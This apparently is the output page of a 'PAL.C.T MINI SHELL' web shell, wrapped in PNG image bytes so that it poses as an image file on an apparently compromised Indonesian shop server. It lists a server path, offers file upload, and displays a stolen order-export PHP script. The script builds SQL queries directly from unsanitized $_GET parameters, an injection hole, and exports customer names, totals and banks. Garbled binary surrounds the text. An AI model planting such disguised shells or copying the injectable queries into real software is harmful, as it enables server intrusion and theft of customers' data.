php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/ownergs/modul/mod_order4/
upload
files >> /var/www/html/ownergs/modul/mod_order4/eksport4.php

<?php

include "../../../config/koneksi.php";
function format_rupiah($angka){
  $rupiah=number_format($angka,0,',','.');
  return $rupiah;
}
function tampil_list2($harga, $diskon, $promo)
{
  if($promo > 0)
  {
    $tampil = $promo;
  }
  elseif($diskon > 0)
  {
    $tampil = $harga - ($harga*($diskon/100));
  }
  else{
    $tampil = $harga;
  }

  return $tampil;
}
  
// nama file
$namaFile = "List pembayaran Harian.xls";

// Function penanda awal file (Begin Of File) Excel

function xlsBOF() {
echo pack("ssssss", 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}

// Function penanda akhir file (End Of File) Excel

function xlsEOF() {
echo pack("ss", 0x0A, 0x00);
return;
}

// Function untuk menulis data (angka) ke cell excel

function xlsWriteNumber($Row, $Col, $Value) {
echo pack("sssss", 0x203, 14, $Row, $Col, 0x0);
echo pack("d", $Value);
return;
}

// Function untuk menulis data (text) ke cell excel

function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack("ssssss", 0x204, 8 + $L, $Row, $Col, 0x0, $L);
echo $Value;
return;
}

// header file excel

header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,
        pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");

// header untuk nama file
header("Content-Disposition: attachment;
        filename=".$namaFile."");

header("Content-Transfer-Encoding: binary ");

// memanggil function penanda awal file excel
xlsBOF();

// ------ membuat kolom pada excel --- //
xlsWriteLabel(0,0,"Invoice");               

xlsWriteLabel(0,1,"Tanggal");              

xlsWriteLabel(0,2,"Nama Customer");   

xlsWriteLabel(0,3,"Total Pembelian"); 

xlsWriteLabel(0,4,"Bank"); 


// -------- menampilkan data --------- //

if($_GET[search] != "")
      {
          if($_GET[from_to] != "kosong" AND $_GET[date_to]!= "kosong" AND $_GET[bank])
          {
            $tampil = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `tgl_order` >= '$_GET[from_to]'
                                   AND `tgl_order` <= '$_GET[date_to]'
                                   AND `bank` = '$_GET[bank]'
                                   ORDER BY id_orders DESC ");          

          }
          elseif($_GET[from_to] != "kosong" AND $_GET[date_to]!= "kosong")
          {
            $tampil = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `tgl_order` >= '$_GET[from_to]'
                                   AND `tgl_order` <= '$_GET[date_to]'
                                   ORDER BY id_orders DESC ");          

          }
          elseif($_GET[from_to] != "kosong"){
            $tampil = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `tgl_order` >= '$_GET[from_to]'
                                   ORDER BY id_orders DESC ");          

          }
          elseif($_GET[date_to] != "kosong"){
            $tampil = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `tgl_order` <= '$_GET[date_to]'
                                   ORDER BY id_orders DESC ");          

          }
          elseif($_GET[bank] != "kosong"){
            $tampil = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `bank` = '$_GET[bank]'
                                   ORDER BY id_orders DESC ");          

          }          
      }
      else{
        $tampil = mysql_query("SELECT * FROM orders,kustomer 
                                 WHERE orders.id_kustomer=kustomer.id_kustomer
                                 AND orders.status_order != 'Order'
                                 AND orders.status_order != 'Order1' 
                                 ORDER BY id_orders DESC ");          
      }  

            $no = $posisi+1;
            $totalx = 0;

            // nilai awal untuk baris cell
$noBarisCell = 1;

// nilai awal untuk nomor urut data
$noData = 1;

            while ($r=mysql_fetch_array($tampil)){


  // tampilkan rincian produk yang di order
 $daftarproduk=mysql_query("SELECT * FROM orders_detail 
                                 WHERE id_orders = '$r[id_orders]'");
        $total = 0;
        
$no=1;
while ($d=mysql_fetch_array($daftarproduk)){

   if($d[sumber] == 'induk')
    {
      $rs = mysql_fetch_array(mysql_query("SELECT * FROM produk, produk_main WHERE produk.kode = '$d[kode]' 
                                            AND produk_main.id_main_produk = '$d[id_produk]' "));
      $nama_produk = $rs[nama_produk];
    }
    elseif($d[sumber] == 'domain')
    {
      $rs = mysql_fetch_array(mysql_query("SELECT * FROM produk_subdomain, produk_main WHERE produk_subdomain.kode = '$d[kode]' 
                                            AND produk_main.id_main_produk = '$d[id_produk]' "));
      $nama_produk = $rs[nama_produk_subdomain];

    }
    elseif($d[sumber] == 'fatools')
    { 
      
      $rs = mysql_fetch_array(mysql_query("SELECT * FROM fatools WHERE kode_tool = '$d[kode]' 
                                            AND id = '$d[id_produk]' "));
      $nama_produk  = $rs[nama_tool];
      $harga_tampil = $rs[harga];
      $hargadisc    = number_format(($rs[harga]),0,",",".");
    }
    elseif($d[sumber] == 'bosch')
    { 
      
      $rs = mysql_fetch_array(mysql_query("SELECT * FROM bosch_produk, produk_main WHERE bosch_produk.kode = '$d[kode]' 
                                            AND produk_main.id_main_produk = '$d[id_produk]' "));
      $nama_produk  = $rs[nama_produk];
      $harga_tampil = $rs[harga];
      $hargadisc    = number_format(($rs[harga]),0,",",".");
    }
    elseif($d[sumber] == 'rainbow')
    { 
      
      $rs = mysql_fetch_array(mysql_query("SELECT * FROM rainbow WHERE kode = '$d[kode]' 
                                            AND id = '$d[id_produk]' "));
      $nama_produk  = $rs[nama_produk];
      $harga_tampil = $rs[harga];
      $hargadisc    = number_format(($rs[harga]),0,",",".");
    }
   $harga_tampil = tampil_list2($rs[harga], $rs[diskon], $rs[harga_promo]);
   //echo "Harga TAmpil : $harga_tampil";
   $hargadisc    = number_format(($harga_tampil),0,",","."); 
   $subtotal     = $harga_tampil * $d[jumlah];
   $total        = $total + $subtotal;


   $subtotal_rp = format_rupiah($subtotal);    
      
   $harga       = format_rupiah($harga_tampil);

   $no++;
   $NPN = $d['NPN'];
}
   $total = $total + $r[biaya_kirim];



if($NPN == "NPPN")
   {  
      $status_NPN = "Orderan tanpa PPN 10%";
      
          $total_rp_awal = format_rupiah($total);
            $total_rp_net = $total;
            $total_hitung = format_rupiah(ceil($total_rp_net / 11));
            $total = $total / 1.1;
            $total_rp_akhir = "Rp. <b>".format_rupiah($total).",-</b>";
            $perhitungan = "($total_hitung,-)";
            $keterangan = "Harga belum termasuk PPN";
            $grand_total = "<b>Total</b> ";
          $button_next = "<a href='selesai-belanja-NPPN.html' class='btn btn-success'> Selesai Belanja </a>";
          $ket = "";
          $ket_ppn = "<b>PPN</b>";     
          $total_tampil =   $total_rp_akhir;
   }
   else{
      $status_NPN = "Orderan termasuk PPN 10%";
          $total_rp_awal = format_rupiah($total);
          $keterangan = "Harga sudah termasuk PPN";
          $button_next = "<a href='selesai-belanja-PPN.html' class='btn btn-success'> Selesai Belanja </a>";
          $ket = "";
          $total_tampil =   "Rp. ".$total_rp_awal.",-";
   }





   xlsWriteNumber($noBarisCell,0, $r['id_orders']);

   xlsWriteLabel($noBarisCell,1, $r['tgl_order']);

   xlsWriteLabel($noBarisCell,2,$r['nama_lengkap']);
 
   xlsWriteLabel($noBarisCell,3,$total_rp_awal);

   xlsWriteLabel($noBarisCell,4,$r['bank']);

//   xlsWriteLabel($noBarisCell,5,$data['comment']);
//   xlsWriteLabel($noBarisCell,6,$data['source']);

   // increment untuk no. baris cell dan no. urut data
   $noBarisCell++;
   $noData++;
   $totalx = $totalx + $total;
}
$totalx = format_rupiah($totalx);
$noBarisCell++;
   $noData++;
   xlsWriteNumber($noBarisCell,0, "");

   xlsWriteLabel($noBarisCell,1, "");

   xlsWriteLabel($noBarisCell,2, "");
 
   xlsWriteLabel($noBarisCell,3,$totalx);

   xlsWriteLabel($noBarisCell,4, "");
// memanggil function penanda akhir file excel
xlsEOF(); 
exit();

//header('location:../../media.php?module=exim');

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`